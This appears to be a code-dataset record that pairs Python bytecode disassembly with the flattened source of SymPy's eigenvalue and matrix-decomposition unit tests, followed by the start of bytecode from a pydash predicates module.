BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 4 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST H LOAD_GLOBAL I UNARY_NEGATIVE LOAD_FAST H BINARY_MULTIPLY LOAD_FAST t BINARY_MULTIPLY LOAD_METHOD jordan_form CALL_METHOD STORE_FAST A LOAD_FAST A LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST -4 LOAD_CONST -1 LOAD_GLOBAL sqrt LOAD_CONST 17 CALL_FUNCTION BINARY_ADD BINARY_TRUE_DIVIDE LOAD_CONST 4 LOAD_CONST 1 LOAD_GLOBAL sqrt LOAD_CONST 17 CALL_FUNCTION BINARY_ADD BINARY_TRUE_DIVIDE BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_CONST -4 LOAD_GLOBAL I BINARY_MULTIPLY LOAD_FAST t BINARY_MULTIPLY LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST -3 LOAD_GLOBAL I BINARY_MULTIPLY LOAD_FAST t BINARY_MULTIPLY LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST t LOAD_CONST -3 LOAD_GLOBAL I BINARY_MULTIPLY LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_GLOBAL sqrt LOAD_CONST 17 CALL_FUNCTION LOAD_GLOBAL I BINARY_MULTIPLY LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_ADD BINARY_MULTIPLY LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST t LOAD_GLOBAL sqrt LOAD_CONST 17 CALL_FUNCTION UNARY_NEGATIVE LOAD_GLOBAL I BINARY_MULTIPLY LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_CONST 3 LOAD_GLOBAL I BINARY_MULTIPLY LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_SUBTRACT BINARY_MULTIPLY BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_TUPLE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL DFT LOAD_CONST 3 CALL_FUNCTION LOAD_METHOD as_explicit CALL_METHOD LOAD_ATTR expand LOAD_CONST True LOAD_CONST ('complex',) CALL_FUNCTION STORE_FAST A LOAD_FAST A LOAD_METHOD eigenvects CALL_METHOD STORE_FAST eigenvects LOAD_FAST eigenvects LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST -1 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_GLOBAL sqrt LOAD_CONST 3 CALL_FUNCTION BINARY_SUBTRACT BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST eigenvects LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_GLOBAL sqrt LOAD_CONST 3 CALL_FUNCTION BINARY_ADD BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST eigenvects LOAD_CONST 2 BINARY_SUBSCR LOAD_GLOBAL I UNARY_NEGATIVE LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 0 BUILD_LIST LOAD_CONST -1 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL DFT LOAD_CONST 4 CALL_FUNCTION LOAD_METHOD as_explicit CALL_METHOD LOAD_ATTR expand LOAD_CONST True LOAD_CONST ('complex',) CALL_FUNCTION STORE_FAST A LOAD_FAST A LOAD_METHOD eigenvects CALL_METHOD STORE_FAST eigenvects LOAD_FAST eigenvects LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST -1 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST -1 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST eigenvects LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 LOAD_CONST 2 LOAD_GLOBAL Matrix LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_CONST 2 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST eigenvects LOAD_CONST 2 BINARY_SUBSCR LOAD_GLOBAL I UNARY_NEGATIVE LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 0 BUILD_LIST LOAD_CONST -1 BUILD_LIST LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL DFT LOAD_CONST 5 CALL_FUNCTION LOAD_METHOD as_explicit CALL_METHOD LOAD_ATTR expand LOAD_CONST True LOAD_CONST ('complex',) CALL_FUNCTION STORE_FAST A LOAD_FAST A LOAD_METHOD eigenvects CALL_METHOD STORE_FAST eigenvects LOAD_FAST eigenvects LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST -1 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_GLOBAL sqrt LOAD_CONST 5 CALL_FUNCTION BINARY_SUBTRACT BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST eigenvects LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 LOAD_CONST 2 LOAD_GLOBAL Matrix LOAD_GLOBAL S LOAD_CONST 1 CALL_FUNCTION LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_GLOBAL sqrt LOAD_CONST 5 CALL_FUNCTION LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_ADD BUILD_LIST LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_GLOBAL S LOAD_CONST 1 CALL_FUNCTION LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_GLOBAL sqrt LOAD_CONST 5 CALL_FUNCTION LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_ADD BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL symbols LOAD_CONST 'b' LOAD_CONST True LOAD_CONST ('nonzero',) CALL_FUNCTION STORE_FAST b LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_FAST b LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST b BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
from sympy.core.evalf import N from sympy.core.numbers import Float, I, Rational from sympy.core.symbol import Symbol, symbols from sympy.functions.elementary.complexes import Abs from sympy.functions.elementary.exponential import exp from sympy.functions.elementary.miscellaneous import sqrt from sympy.functions.elementary.trigonometric import cos, sin from sympy.matrices import eye, Matrix from sympy.core.singleton import S from sympy.testing.pytest import raises, XFAIL from sympy.matrices.matrices import NonSquareMatrixError, MatrixError from sympy.matrices.expressions.fourier import DFT from sympy.simplify.simplify import simplify from sympy.matrices.immutable import ImmutableMatrix from sympy.testing.pytest import slow from sympy.testing.matrices import allclose def test_eigen(): R = Rational M = Matrix.eye(3) assert M.eigenvals(multiple=False) == {S.One: 3} assert M.eigenvals(multiple=True) == [1, 1, 1] assert M.eigenvects() == ( [(1, 3, [Matrix([1, 0, 0]), Matrix([0, 1, 0]), Matrix([0, 0, 1])])] ) assert M.left_eigenvects() == ( [(1, 3, [Matrix([[1, 0, 0]]), Matrix([[0, 1, 0]]), Matrix([[0, 0, 1]])])] ) M = Matrix([[0, 1, 1], [1, 0, 0], [1, 1, 1]]) assert M.eigenvals() == {2 * S.One: 1, -S.One: 1, S.Zero: 1} assert M.eigenvects() == ( [ (-1, 1, [Matrix([-1, 1, 0])]), (0, 1, [Matrix([0, -1, 1])]), (2, 1, [Matrix([R(2, 3), R(1, 3), 1])]), ] ) assert M.left_eigenvects() == ( [ (-1, 1, [Matrix([[-2, 1, 1]])]), (0, 1, [Matrix([[-1, -1, 1]])]), (2, 1, [Matrix([[1, 1, 1]])]), ] ) a = Symbol("a") M = Matrix([[a, 0], [0, 1]]) assert M.eigenvals() == {a: 1, S.One: 1} M = Matrix([[1, -1], [1, 3]]) assert M.eigenvects() == ([(2, 2, [Matrix(2, 1, [-1, 1])])]) assert M.left_eigenvects() == ([(2, 2, [Matrix([[1, 1]])])]) M = Matrix([[1, 2, 3], [4, 5, 6], [7, 8, 9]]) a = R(15, 2) b = 3 * 33 ** R(1, 2) c = R(13, 2) d = R(33, 8) + 3 * b / 8 e = R(33, 8) - 3 * b / 8 def NS(e, n): return str(N(e, n)) r = [ ( a - b / 2, 1, [ Matrix( [ (12 + 24 / (c - b / 2)) / ((c - b / 2) * e) + 3 / (c - b / 2), (6 + 12 / (c - b / 2)) / e, 1, ] ) ], ), (0, 1, [Matrix([1, -2, 1])]), ( a + b / 2, 1, [ Matrix( [ (12 + 24 / (c + b / 2)) / ((c + b / 2) * d) + 3 / (c + b / 2), (6 + 12 / (c + b / 2)) / d, 1, ] ) ], ), ] r1 = [ (NS(r[i][0], 2), NS(r[i][1], 2), [NS(j, 2) for j in r[i][2][0]]) for i in range(len(r)) ] r = M.eigenvects() r2 = [ (NS(r[i][0], 2), NS(r[i][1], 2), [NS(j, 2) for j in r[i][2][0]]) for i in range(len(r)) ] assert sorted(r1) == sorted(r2) eps = Symbol("eps", real=True) M = Matrix([[abs(eps), I * eps], [-I * eps, abs(eps)]]) assert M.eigenvects() == ( [ (0, 1, [Matrix([[-I * eps / abs(eps)], [1]])]), (2 * abs(eps), 1, [Matrix([[I * eps / abs(eps)], [1]])]), ] ) assert M.left_eigenvects() == ( [ (0, 1, [Matrix([[I * eps / Abs(eps), 1]])]), (2 * Abs(eps), 1, [Matrix([[-I * eps / Abs(eps), 1]])]), ] ) M = Matrix(3, 3, [1, 2, 0, 0, 3, 0, 2, -4, 2]) M._eigenvects = M.eigenvects(simplify=False) assert max(i.q for i in M._eigenvects[0][2][0]) > 1 M._eigenvects = M.eigenvects(simplify=True) assert max(i.q for i in M._eigenvects[0][2][0]) == 1 M = Matrix([[Rational(1, 4), 1], [1, 1]]) assert M.eigenvects() == [ ( Rational(5, 8) - sqrt(73) / 8, 1, [Matrix([[-sqrt(73) / 8 - Rational(3, 8)], [1]])], ), ( Rational(5, 8) + sqrt(73) / 8, 1, [Matrix([[Rational(-3, 8) + sqrt(73) / 8], [1]])], ), ] assert Matrix([]).eigenvals() == {} assert Matrix([]).eigenvals(multiple=True) == [] assert Matrix([]).eigenvects() == [] raises(NonSquareMatrixError, lambda: Matrix([[1, 2], [0, 4], [0, 0]]).eigenvals()) raises(NonSquareMatrixError, lambda: Matrix([[1, 0], [3, 4], [5, 6]]).eigenvals()) raises(NonSquareMatrixError, lambda: Matrix([[1, 2, 3], [0, 5, 6]]).eigenvals()) raises(NonSquareMatrixError, lambda: Matrix([[1, 0, 0], [4, 5, 0]]).eigenvals()) raises( NonSquareMatrixError, lambda: Matrix([[1, 2, 3], [0, 5, 6]]).eigenvals(error_when_incomplete=False), ) raises( NonSquareMatrixError, lambda: Matrix([[1, 0, 0], [4, 5, 0]]).eigenvals(error_when_incomplete=False), ) m = Matrix([[1, 2], [3, 4]]) assert isinstance(m.eigenvals(simplify=True, multiple=False), dict) assert isinstance(m.eigenvals(simplify=True, multiple=True), list) assert isinstance(m.eigenvals(simplify=lambda x: x, multiple=False), dict) assert isinstance(m.eigenvals(simplify=lambda x: x, multiple=True), list) @slow def test_eigen_slow(): from sympy.core.function import count_ops q = Symbol("q", positive=True) m = Matrix([[-2, exp(-q), 1], [exp(q), -2, 1], [1, 1, -2]]) assert count_ops(m.eigenvals(simplify=False)) > count_ops( m.eigenvals(simplify=True) ) assert count_ops(m.eigenvals(simplify=lambda x: x)) > count_ops( m.eigenvals(simplify=True) ) def test_float_eigenvals(): m = Matrix([[1, 0.6, 0.6], [0.6, 0.9, 0.9], [0.9, 0.6, 0.6]]) evals = [Rational(5, 4) - sqrt(385) / 20, sqrt(385) / 20 + Rational(5, 4), S.Zero] n_evals = m.eigenvals(rational=True, multiple=True) n_evals = sorted(n_evals) s_evals = [x.evalf() for x in evals] s_evals = sorted(s_evals) for x, y in zip(n_evals, s_evals): assert abs(x - y) < 10**-9 @XFAIL def test_eigen_vects(): m = Matrix(2, 2, [1, 0, 0, I]) raises(NotImplementedError, lambda: m.is_diagonalizable(True)) assert not m.is_diagonalizable(True) raises(MatrixError, lambda: m.diagonalize(True)) (P, D) = m.diagonalize(True) def test_issue_8240(): x, y = symbols("x y") n = 200 diagonal_variables = [Symbol("x%s" % i) for i in range(n)] M = [[0 for i in range(n)] for j in range(n)] for i in range(n): M[i][i] = diagonal_variables[i] M = Matrix(M) eigenvals = M.eigenvals() assert len(eigenvals) == n for i in range(n): assert eigenvals[diagonal_variables[i]] == 1 eigenvals = M.eigenvals(multiple=True) assert set(eigenvals) == set(diagonal_variables) M = Matrix([[x, 0, 0], [1, y, 0], [2, 3, x]]) eigenvals = M.eigenvals() assert eigenvals == {x: 2, y: 1} eigenvals = M.eigenvals(multiple=True) assert len(eigenvals) == 3 assert eigenvals.count(x) == 2 assert eigenvals.count(y) == 1 def test_eigenvals(): M = Matrix([[0, 1, 1], [1, 0, 0], [1, 1, 1]]) assert M.eigenvals() == {2 * S.One: 1, -S.One: 1, S.Zero: 1} m = Matrix( [ [3, 0, 0, 0, -3], [0, -3, -3, 0, 3], [0, 3, 0, 3, 0], [0, 0, 3, 0, 3], [3, 0, 0, 3, 0], ] ) assert m.eigenvals() def test_eigenvects(): M = Matrix([[0, 1, 1], [1, 0, 0], [1, 1, 1]]) vecs = M.eigenvects() for val, mult, vec_list in vecs: assert len(vec_list) == 1 assert M * vec_list[0] == val * vec_list[0] def test_left_eigenvects(): M = Matrix([[0, 1, 1], [1, 0, 0], [1, 1, 1]]) vecs = M.left_eigenvects() for val, mult, vec_list in vecs: assert len(vec_list) == 1 assert vec_list[0] * M == val * vec_list[0] @slow def test_bidiagonalize(): M = Matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) assert M.bidiagonalize() == M assert M.bidiagonalize(upper=False) == M assert M.bidiagonalize() == M assert M.bidiagonal_decomposition() == (M, M, M) assert M.bidiagonal_decomposition(upper=False) == (M, M, M) assert M.bidiagonalize() == M import random for real_test in range(2): test_values = [] row = 2 col = 2 for _ in range(row * col): value = random.randint(-1000000000, 1000000000) test_values = test_values + [value] M = Matrix(row, col, test_values) N = ImmutableMatrix(M) N1, N2, N3 = N.bidiagonal_decomposition() M1, M2, M3 = M.bidiagonal_decomposition() M0 = M.bidiagonalize() N0 = N.bidiagonalize() N4 = N1 * N2 * N3 M4 = M1 * M2 * M3 N2.simplify() N4.simplify() N0.simplify() M0.simplify() M2.simplify() M4.simplify() LM0 = M.bidiagonalize(upper=False) LM1, LM2, LM3 = M.bidiagonal_decomposition(upper=False) LN0 = N.bidiagonalize(upper=False) LN1, LN2, LN3 = N.bidiagonal_decomposition(upper=False) LN4 = LN1 * LN2 * LN3 LM4 = LM1 * LM2 * LM3 LN2.simplify() LN4.simplify() LN0.simplify() LM0.simplify() LM2.simplify() LM4.simplify() assert M == M4 assert M2 == M0 assert N == N4 assert N2 == N0 assert M == LM4 assert LM2 == LM0 assert N == LN4 assert LN2 == LN0 for complex_test in range(2): test_values = [] size = 2 for _ in range(size * size): real = random.randint(-1000000000, 1000000000) comp = random.randint(-1000000000, 1000000000) value = real + comp * I test_values = test_values + [value] M = Matrix(size, size, test_values) N = ImmutableMatrix(M) N1, N2, N3 = N.bidiagonal_decomposition() M1, M2, M3 = M.bidiagonal_decomposition() M0 = M.bidiagonalize() N0 = N.bidiagonalize() N4 = N1 * N2 * N3 M4 = M1 * M2 * M3 N2.simplify() N4.simplify() N0.simplify() M0.simplify() M2.simplify() M4.simplify() LM0 = M.bidiagonalize(upper=False) LM1, LM2, LM3 = M.bidiagonal_decomposition(upper=False) LN0 = N.bidiagonalize(upper=False) LN1, LN2, LN3 = N.bidiagonal_decomposition(upper=False) LN4 = LN1 * LN2 * LN3 LM4 = LM1 * LM2 * LM3 LN2.simplify() LN4.simplify() LN0.simplify() LM0.simplify() LM2.simplify() LM4.simplify() assert M == M4 assert M2 == M0 assert N == N4 assert N2 == N0 assert M == LM4 assert LM2 == LM0 assert N == LN4 assert LN2 == LN0 M = Matrix(18, 8, range(1, 145)) M = M.applyfunc(lambda i: Float(i)) assert M.bidiagonal_decomposition()[1] == M.bidiagonalize() assert M.bidiagonal_decomposition(upper=False)[1] == M.bidiagonalize(upper=False) a, b, c = M.bidiagonal_decomposition() diff = a * b * c - M assert abs(max(diff)) < 10**-12 def test_diagonalize(): m = Matrix(2, 2, [0, -1, 1, 0]) raises(MatrixError, lambda: m.diagonalize(reals_only=True)) P, D = m.diagonalize() assert D.is_diagonal() assert D == Matrix([[-I, 0], [0, I]]) m = Matrix(2, 2, [0, 0.5, 0.5, 0]) P, D = m.diagonalize() assert all(isinstance(e, Float) for e in D.values()) assert all(isinstance(e, Float) for e in P.values()) _, D2 = m.diagonalize(reals_only=True) assert D == D2 m = Matrix([[0, 1, 0, 0], [1, 0, 0, 0.002], [0.002, 0, 0, 1], [0, 0, 1, 0]]) P, D = m.diagonalize() assert allclose(P * D, m * P) def test_is_diagonalizable(): a, b, c = symbols("a b c") m = Matrix(2, 2, [a, c, c, b]) assert m.is_symmetric() assert m.is_diagonalizable() assert not Matrix(2, 2, [1, 1, 0, 1]).is_diagonalizable() m = Matrix(2, 2, [0, -1, 1, 0]) assert m.is_diagonalizable() assert not m.is_diagonalizable(reals_only=True) def test_jordan_form(): m = Matrix(3, 2, [-3, 1, -3, 20, 3, 10]) raises(NonSquareMatrixError, lambda: m.jordan_form()) m = Matrix(4, 4, [2, 1, 0, 0, 0, 2, 1, 0, 0, 0, 2, 0, 0, 0, 0, 2]) P, J = m.jordan_form() assert m == J m = Matrix(4, 4, [2, 1, 0, 0, 0, 2, 0, 0, 0, 0, 2, 1, 0, 0, 0, 2]) P, J = m.jordan_form() assert m == J A = Matrix([[2, 4, 1, 0], [-4, 2, 0, 1], [0, 0, 2, 4], [0, 0, -4, 2]]) P, J = A.jordan_form() assert simplify(P * J * P.inv()) == A assert Matrix(1, 1, [1]).jordan_form() == (Matrix([1]), Matrix([1])) assert Matrix(1, 1, [1]).jordan_form(calc_transform=False) == Matrix([1]) m = Matrix( [ [3, 0, 0, 0, -3], [0, -3, -3, 0, 3], [0, 3, 0, 3, 0], [0, 0, 3, 0, 3], [3, 0, 0, 3, 0], ] ) raises(MatrixError, lambda: m.jordan_form()) m = Matrix([[0.6875, 0.125 + 0.1875 * sqrt(3)], [0.125 + 0.1875 * sqrt(3), 0.3125]]) P, J = m.jordan_form() assert all(isinstance(x, Float) or x == 0 for x in P) assert all(isinstance(x, Float) or x == 0 for x in J) def test_singular_values(): x = Symbol("x", real=True) A = Matrix([[0, 1 * I], [2, 0]]) assert A.singular_values() == [2, 1] A = eye(3) A[1, 1] = x A[2, 2] = 5 vals = A.singular_values() assert set(vals) == {5, 1, Abs(x)} A = Matrix([[sin(x), cos(x)], [-cos(x), sin(x)]]) vals = [sv.trigsimp() for sv in A.singular_values()] assert vals == [S.One, S.One] A = Matrix([[2, 4], [1, 3], [0, 0], [0, 0]]) assert A.singular_values() == [sqrt(sqrt(221) + 15), sqrt(15 - sqrt(221))] assert A.T.singular_values() == [sqrt(sqrt(221) + 15), sqrt(15 - sqrt(221)), 0, 0] def test___eq__(): assert (Matrix([[0, 1, 1], [1, 0, 0], [1, 1, 1]]) == {}) is False def test_definite(): m = Matrix([[2, -1, 0], [-1, 2, -1], [0, -1, 2]]) assert m.is_positive_definite == True assert m.is_positive_semidefinite == True assert m.is_negative_definite == False assert m.is_negative_semidefinite == False assert m.is_indefinite == False m = Matrix([[5, 4], [4, 5]]) assert m.is_positive_definite == True assert m.is_positive_semidefinite == True assert m.is_negative_definite == False assert m.is_negative_semidefinite == False assert m.is_indefinite == False m = Matrix([[2, -1, -1], [-1, 2, -1], [-1, -1, 2]]) assert m.is_positive_definite == False assert m.is_positive_semidefinite == True assert m.is_negative_definite == False assert m.is_negative_semidefinite == False assert m.is_indefinite == False m = Matrix([[1, 2], [2, 4]]) assert m.is_positive_definite == False assert m.is_positive_semidefinite == True assert m.is_negative_definite == False assert m.is_negative_semidefinite == False assert m.is_indefinite == False m = Matrix([[2, 3], [4, 8]]) assert m.is_positive_definite == True assert m.is_positive_semidefinite == True assert m.is_negative_definite == False assert m.is_negative_semidefinite == False assert m.is_indefinite == False m = Matrix([[1, 2 * I], [-I, 4]]) assert m.is_positive_definite == True assert m.is_positive_semidefinite == True assert m.is_negative_definite == False assert m.is_negative_semidefinite == False assert m.is_indefinite == False a = Symbol("a", positive=True) b = Symbol("b", negative=True) m = Matrix([[a, 0, 0], [0, a, 0], [0, 0, a]]) assert m.is_positive_definite == True assert m.is_positive_semidefinite == True assert m.is_negative_definite == False assert m.is_negative_semidefinite == False assert m.is_indefinite == False m = Matrix([[b, 0, 0], [0, b, 0], [0, 0, b]]) assert m.is_positive_definite == False assert m.is_positive_semidefinite == False assert m.is_negative_definite == True assert m.is_negative_semidefinite == True assert m.is_indefinite == False m = Matrix([[a, 0], [0, b]]) assert m.is_positive_definite == False assert m.is_positive_semidefinite == False assert m.is_negative_definite == False assert m.is_negative_semidefinite == False assert m.is_indefinite == True m = Matrix( [ [ 0.0228202735623867, 0.00518748979085398, -0.0743036351048907, -0.00709135324903921, ], [ 0.00518748979085398, 0.0349045359786350, 0.0830317991056637, 0.00233147902806909, ], [ -0.0743036351048907, 0.0830317991056637, 1.15859676366277, 0.340359081555988, ], [ -0.00709135324903921, 0.00233147902806909, 0.340359081555988, 0.928147644848199, ], ] ) assert m.is_positive_definite == True assert m.is_positive_semidefinite == True assert m.is_indefinite == False m = Matrix([[0, 0, 0], [0, 1, 2], [0, 2, 1]]) assert not m.is_positive_definite assert not m.is_positive_semidefinite def test_positive_semidefinite_cholesky(): from sympy.matrices.eigen import _is_positive_semidefinite_cholesky m = Matrix([[0, 0, 0], [0, 0, 0], [0, 0, 0]]) assert _is_positive_semidefinite_cholesky(m) == True m = Matrix([[0, 0, 0], [0, 5, -10 * I], [0, 10 * I, 5]]) assert _is_positive_semidefinite_cholesky(m) == False m = Matrix([[1, 0, 0], [0, 0, 0], [0, 0, -1]]) assert _is_positive_semidefinite_cholesky(m) == False m = Matrix([[0, 1], [1, 0]]) assert _is_positive_semidefinite_cholesky(m) == False m = Matrix([[4, -2, -6], [-2, 10, 9], [-6, 9, 14]]) assert _is_positive_semidefinite_cholesky(m) == True m = Matrix([[9, -3, 3], [-3, 2, 1], [3, 1, 6]]) assert _is_positive_semidefinite_cholesky(m) == True m = Matrix([[4, -2, 2], [-2, 1, -1], [2, -1, 5]]) assert _is_positive_semidefinite_cholesky(m) == True m = Matrix([[1, 2, -1], [2, 5, 1], [-1, 1, 9]]) assert _is_positive_semidefinite_cholesky(m) == False def test_issue_20582(): A = Matrix( [ [5, -5, -3, 2, -7], [-2, -5, 0, 2, 1], [-2, -7, -5, -2, -6], [7, 10, 3, 9, -2], [4, -10, 3, -8, -4], ] ) assert A.eigenvects() def test_issue_19210(): t = Symbol("t") H = Matrix([[3, 0, 0, 0], [0, 1, 2, 0], [0, 2, 2, 0], [0, 0, 0, 4]]) A = (-I * H * t).jordan_form() assert A == ( Matrix( [ [0, 1, 0, 0], [0, 0, -4 / (-1 + sqrt(17)), 4 / (1 + sqrt(17))], [0, 0, 1, 1], [1, 0, 0, 0], ] ), Matrix( [ [-4 * I * t, 0, 0, 0], [0, -3 * I * t, 0, 0], [0, 0, t * (-3 * I / 2 + sqrt(17) * I / 2), 0], [0, 0, 0, t * (-sqrt(17) * I / 2 - 3 * I / 2)], ] ), ) def test_issue_20275(): A = DFT(3).as_explicit().expand(complex=True) eigenvects = A.eigenvects() assert eigenvects[0] == (-1, 1, [Matrix([[1 - sqrt(3)], [1], [1]])]) assert eigenvects[1] == (1, 1, [Matrix([[1 + sqrt(3)], [1], [1]])]) assert eigenvects[2] == (-I, 1, [Matrix([[0], [-1], [1]])]) A = DFT(4).as_explicit().expand(complex=True) eigenvects = A.eigenvects() assert eigenvects[0] == (-1, 1, [Matrix([[-1], [1], [1], [1]])]) assert eigenvects[1] == ( 1, 2, [Matrix([[1], [0], [1], [0]]), Matrix([[2], [1], [0], [1]])], ) assert eigenvects[2] == (-I, 1, [Matrix([[0], [-1], [0], [1]])]) A = DFT(5).as_explicit().expand(complex=True) eigenvects = A.eigenvects() assert eigenvects[0] == (-1, 1, [Matrix([[1 - sqrt(5)], [1], [1], [1], [1]])]) assert eigenvects[1] == ( 1, 2, [ Matrix([[S(1) / 2 + sqrt(5) / 2], [0], [1], [1], [0]]), Matrix([[S(1) / 2 + sqrt(5) / 2], [1], [0], [0], [1]]), ], ) def test_issue_20752(): b = symbols("b", nonzero=True) m = Matrix([[0, 0, 0], [0, b, 0], [0, 0, b]]) assert m.is_positive_semidefinite is None
data/sympy-1.12/sympy/matrices/tests/test_eigen.py
18,434
9,018
228,686
LOAD_CONST '\nPredicate functions that return boolean evaluations of objects.\n\n.. versionadded:: 2.0.0\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST ('Iterable', 'Mapping') IMPORT_NAME collections.abc IMPORT_FROM Iterable STORE_NAME Iterable IMPORT_FROM Mapping STORE_NAME Mapping POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME datetime STORE_NAME datetime LOAD_CONST 0 LOAD_CONST ('islice',) IMPORT_NAME itertools IMPORT_FROM islice STORE_NAME islice POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME json STORE_NAME json LOAD_CONST 0 LOAD_CONST None IMPORT_NAME operator STORE_NAME operator LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST ('BuiltinFunctionType',) IMPORT_NAME types IMPORT_FROM BuiltinFunctionType STORE_NAME BuiltinFunctionType POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME typing STORE_NAME t LOAD_CONST 0 LOAD_CONST ('TypeGuard',) IMPORT_NAME typing_extensions IMPORT_FROM TypeGuard STORE_NAME TypeGuard POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pydash STORE_NAME pyd LOAD_CONST 1 LOAD_CONST ('BUILTINS', 'NUMBER_TYPES', 'UNSET', 'base_get', 'callit', 'iterator') IMPORT_NAME helpers IMPORT_FROM BUILTINS STORE_NAME BUILTINS IMPORT_FROM NUMBER_TYPES STORE_NAME NUMBER_TYPES IMPORT_FROM UNSET STORE_NAME UNSET IMPORT_FROM base_get STORE_NAME base_get IMPORT_FROM callit STORE_NAME callit IMPORT_FROM iterator STORE_NAME iterator POP_TOP LOAD_NAME t LOAD_ATTR TYPE_CHECKING POP_JUMP_IF_FALSE LOAD_CONST 0 